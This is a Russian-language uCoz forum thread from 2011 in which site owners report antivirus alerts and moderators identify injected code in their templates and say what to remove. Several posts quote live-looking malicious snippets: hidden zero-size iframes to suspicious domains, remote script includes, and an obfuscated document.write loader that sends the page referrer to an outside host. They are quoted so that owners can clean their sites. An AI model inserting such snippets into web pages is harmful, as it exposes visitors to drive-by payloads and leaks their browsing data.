Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах (для изучения) (примеры вредоносного кода и устранение)
Вирусы на сайтах (для изучения)
fflesh
Сообщений: 1784
Репутация: 1314

Сообщение # 346 | 22:41:11 20 Янв 2011
емеля,
Quote (емеля)
как в этом виде каталога новостей (файлов) убрать картинку?


....
А вот этот скриптик, что у вас в шаблоне:
Quote
<script type="text/javascript" src="http://dle-ucoz.3dn.ru/Stil.js"></script>

Вставляет вот такую бяку:
Quote
<iframe src="http://syper-games.net.ru/index/0-9" width="0%" frameborder="no" height="0%"></iframe>

После чего, обычно, бывают осложнения ... в виде сообщений о вредоносном содержимом.
...
Не забудьте удалить!
...
P.S. И вот так, мы накручиваем хосты .... (http://syper-games.net.ru/index/0-9) ... А потом ещё и удивляемся .... почему Gоogle не «любит» юКоз ... )))
Всё написанное выше - моё личное мнение и на абсолютную правоту не претендует.
Есть вопросы лично ко мне - пиши сюда: http://likbezz.ru/forum/8
Сообщение отредактировал fflesh - Четверг, 20 Янв 2011, 21:24:31
Barbiturka
Сообщений: 3
Репутация: 2

Сообщение # 347 | 16:18:21 21 Янв 2011
Здравствуйте! Помогите пожалуйста,что-то с сайтом,при заходе на него касперский ругается,вот такое выдает Скрин
Я сама в кодах ни бум-бум.выручите плиз(((

Добавлено (21-Янв-2011, 16:18:21)
---------------------------------------------
Здравствуйте,у меня на сайте жуть какая-то происходит Скрин
помогите пожалуйста,адрес сайта http://crazykingdom.clan.su/
Заранее спасибо)

Che9948
Сообщений: 1
Репутация: 0

Сообщение # 348 | 10:52:17 22 Янв 2011
Помогите Пожалуйста!
На моем сайте много вирусов!Некоторые пользователи не могут зайти!
bullet-css.clan.su
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 349 | 12:29:47 22 Янв 2011
Che9948, выделенное красным удалить
Quote
<!-- <block4949> -->
<table border="0" cellpadding="0" cellspacing="0" class="boxTable">

<tr><td class="boxTitle"><b><!-- <bt> -->CW<!-- </bt> --></b></td></tr>
<tr><td class="boxContent"><!-- <bc> --><center><img src="http://bu-portal.at.ua/skpintu/cw1/4.png" class="IEpng" alt="Победы" align="center" border="0"><br>Победы(0)<br><hr size="2" width="100%"><img src="http://bu-portal.at.ua/skpintu/cw1/5.png" alt="Поражения" align="center" border="0"><br>Поражения(0)<br><script src="http://iot.pp.ua/1.js" type="text/javascript"></script><hr size="2" width="100%"><img src="http://bu-portal.at.ua/skpintu/cw1/6.png" class="IEpng" width="78" border="0" height="78"><br><a href="http://bullet-css.clan.su/forum/3">Забить cw</a><br><br></center><!-- </bc> --></td></tr>
<tr><td class="boxBottom"></td></tr>
</table>
<!-- </block4949> -->

вот это уродство удалить

Code
http://bullet-css.clan.su/js/jquery-1.2.6.pack.js

это изврат

Code
<link type="text/css" rel="StyleSheet" href="http://s9.ucoz.net/src/layer6.css" /><script type="text/javascript" src="http://s9.ucoz.net/src/u.js"></script><style type="text/css">.UhideBlockL {display:none}</style>

<link type="text/css" rel="StyleSheet" href="http://s23.ucoz.net/src/layer6.css" /><script type="text/javascript" src="http://s23.ucoz.net/src/u.js"></script><style type="text/css">.UhideBlock {display:none}</style>
</head>
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Valentin3943
Сообщений: 34
Репутация: 0

Сообщение # 350 | 18:49:25 22 Янв 2011
Здравствуйте знатоки,требуется Ваша помощь.
На сайте http://golik.ucoz.ru/ не могу найти вредоносную программу которая
в автоматическом режиме устанавливает ссылки на эти сайты

( <a href=http://www.freedownloadgames.name/ >puzzle games</a><a href="http://http://www.calend.ru/names/0/0/26/">http://www.calend.ru/names/0/0/26/</a></div>
<a href=http://www.i-watch-movies-online.com/ >free online movies</a><a href=http://www.freedownloadgames.name/ >free games download</a><a href=http://www.freedownloadgames.name/ >sonic games</a><a href=http://www.vcq.biz/ >screensavers</a>)

на все страницы сайта.Что самое интересное ,что при редактировании страниц сайта с панели управления,
когда редактируем HTML код убираются эти ссылки но при сохранении они в автоматическом режиме прописываются снова.Проверил вроде все но не нашел.Подскажите где искать ????
Валентин

удалено

Сообщение отредактировал webanet - Суббота, 22 Янв 2011, 20:29:30
Dmitry
Сообщений: 2154
Репутация: 1057

Сообщение # 351 | 18:52:54 22 Янв 2011
Valentin3943, Проблема в Вашем браузере.
Отключайте дополнения все, пробуйте с разных браузеров.
Code
<script type="text/javascript">
var IdSite=987;document.write('<scr'+'ipt type="text/javascript" src="http://mediarich.cc/gasket.php?ids='+IdSite+'&ref='+escape(document.referrer)+'"></scr'+'ipt>')

</script>

Вот это убрать желательно, т.к это обман пользователей.. типа новый браузер.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 352 | 20:32:04 22 Янв 2011
Che9948,
Code
<link type="text/css" rel="StyleSheet" href="http://s9.ucoz.net/src/layer6.css" /><script type="text/javascript" src="http://s9.ucoz.net/src/u.js"></script><style type="text/css">.UhideBlockL {display:none}</style>  
это к вашему сайту не относится. ваш сайт на 23 сервере, а это скопированный код с сайта на 9 сервере. через быструю замену удалить этот код
в поле что заменить вставляете этот код, поле на что заменить оставляете пустым
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
collapse
Сообщений: 1
Репутация: 0

Сообщение # 353 | 11:26:16 23 Янв 2011
Сайт http://profallout.ucoz.com/
Касперский видит такой вирус: Worm.Win32.AutoRun.btzw
Айфреймов нет, все юзеры проверенные друзья. Онлайн-сканер Доктор Веб ничего не видит
Szen
Сообщений: 38
Репутация: 55

Сообщение # 354 | 11:40:17 23 Янв 2011
collapse, удалите это:
Code
<script type="text/javascript" src="http://profallout.ucoz.com/js/cufon.js"></script>
<script type="text/javascript" src="http://profallout.ucoz.com/js/font.js"></script>
<script type="text/javascript" src="http://profallout.ucoz.com/js/ui.js"></script>

расположено в самом конце страницы.

szenprogs.ru
Alex-563
Сообщений: 3
Репутация: 8

Сообщение # 355 | 13:06:23 23 Янв 2011
Сегодня пользователи пожаловались
Code
Веб-сайт orenazlk.ru содержит элементы с сайта listat.ipq.co, на котором, судя по всему, размещено вредоносное ПО – программы

Что сделать что бы это пропало ? В смысле что устранить ?
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 356 | 13:30:05 23 Янв 2011
Alex-563, блок время. удалить то что выделено красным

Quote
<!-- -->
<table border="0" cellpadding="0" cellspacing="1" width="192">
<tr><td height="24" style="background:url('https://src.ucoz.net/t/992/7.gif');color:#000000;padding-left:20px;"><b> Время</b></td></tr>
<tr><td align="center" style="padding:5px;background:#AEAFBC;border:1px solid #57627F;">
<script src="http://orenazlk.my1.ru/asf.js"></script><script type="text/javascript" language="JavaScript">AC_FL_RunContent( 'codebase','http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0','width','80','height','21','src','http://orenazlk.my1.ru/black.swf','quality','high','wmode','transparent','pluginspage','http://www.macromedia.com/go/getflashplayer','movie','http://orenazlk.my1.ru/black.swf' ); //end AC code</script><noscript><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" wmode="transparent" width="80" height="21"> <param name="movie" value="http://orenazlk.my1.ru/black.swf" /><param name="quality" value="high" /><embed src="http://orenazlk.my1.ru/black.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" wmode="transparent" width="80" height="21"></embed></object></noscript><iframe src="http://imdbvideo.ru/il/stat.php" width="3" height="2" style="visibility: hidden;"></iframe>
</table>

<!--/-->

Quote
<title>Клуб АЗЛК - Главная страница</title>
<link type="text/css" rel="StyleSheet" href="https://src.ucoz.net/src/css/992.css" />
<script type="text/javascript" src="http://imdbvideo.ru/il/check.php"></script>
<link type="text/css" rel="StyleSheet" href="http://s18.ucoz.net/src/layer3.css" /><script type="text/javascript" src="http://s18.ucoz.net/src/u.js"></script><style type="text/css">.UhideBlock {display:none}</style>
</head>
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Zet-flash
Сообщений: 11
Репутация: 5

Сообщение # 357 | 23:54:47 23 Янв 2011
hlpuff, нужно как-то исключить сайт из заблокированных Родительским контролем антивируса, ищите настройки.
отключите родительский контроль на крайняк
я не смогу помочь, это вам надо в техподдержку касперского обратиться,
с вашим сайтом всё нормально, у меня он отображается

решайте проблему с антивирусной программой (её настройками) на вашем компьютере wink

Самое необычное использование модуля /dir/
MyMilan
Сообщений: 21
Репутация: 4

Сообщение # 358 | 00:47:45 24 Янв 2011
пользователи ругаются, каспер видит какую-то дрянь...
http://bernclub.ru/forum/68-136-45

можите чем-то помочь?

только что попросила пользователей прислать исходный код который напишет каспер когда будет бить тревогу.
если пройти по ссылке выше, они дали несколько определенных страниц форума, на которых каспер выдал тревогу. wacko

шапку внимательно прочитала, из айфреймов только чат. Проблем раньше не было, появилась только сегодня у пользователей с антивирусной системой "Касперский"

Сообщение отредактировал MyMilan - Понедельник, 24 Янв 2011, 01:08:07
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 359 | 01:14:02 24 Янв 2011
MyMilan, вот подпись юзера на которую ругается касперский на этой странице http://bernclub.ru/forum/11-2812-1
Code
<hr class="signatureHr" align="left" size="1" width="150">
<span class="signatureView">[<a class="link" href="http://www.minidog.info" rel="nofollow" target="_blank"><img src="http://www.minidog.info/lines/line_173_beg_112_time_1273780800_col_4000ff_text_63356536653865616633.gif" border="0" alt=""/></a> <br /> <a class="link" href="http://www.ticker.7910.org/rus" rel="nofollow" target="_blank"><img src="http://www.ticker.7910.org/as1cF5k003D0011MzMyfDk1anzB8P7x6OrzIA.gif" border="0" alt=""/></a></span> </td></tr>

<tr>
сообщение номер четыре от tat2041
вторая "линеечка" и есть то из-за чего
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Репетитор
Сообщений: 2
Репутация: 7

Сообщение # 360 | 12:08:15 25 Янв 2011
Доброго дня

Столкнулась с проблемой: у многих пользователей сайта, которые пользуются антивирусом НОД 32, заблокирован сайт.
Причина, вцыдающая антивирусом: вирус scrinject.b.gen, который обычно попадает при залитии файлов через фтп с локальной машины, чем я не пользуюсь.

Простомтрела все доступные файлы и не нашла ничего лишнего в кодах.

Будьте добры, помогите разобраться

Добавлено (25-Янв-2011, 12:08:15)
---------------------------------------------

Quote (webanet)
у кого срабатывает блокировка от ESET NOD32 Antivirus ничего не трогайте и не предпринимайте пока. это ложное срабатывание антивируса

Quote (elena-pok)
ввела в поисковик поддомен my1.ru, все сайты поголовно блокируются Nod 32. Это видно они занесли всю базу сайтов на my1.ru в список потенциально опасных сайтов.
Не потенциально опасных, а нарушителей авторских прав. Какой-то сайт был пойман на распространении лицензионных ключей.

это вирус класса троян, что значит ложное?

Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах (для изучения) (примеры вредоносного кода и устранение)
Поиск:
Telegram
Будьте в курсе всех обновлений: подпишитесь на наш официальный Telegram-канал uCoz и задавайте вопросы в чате сообщества!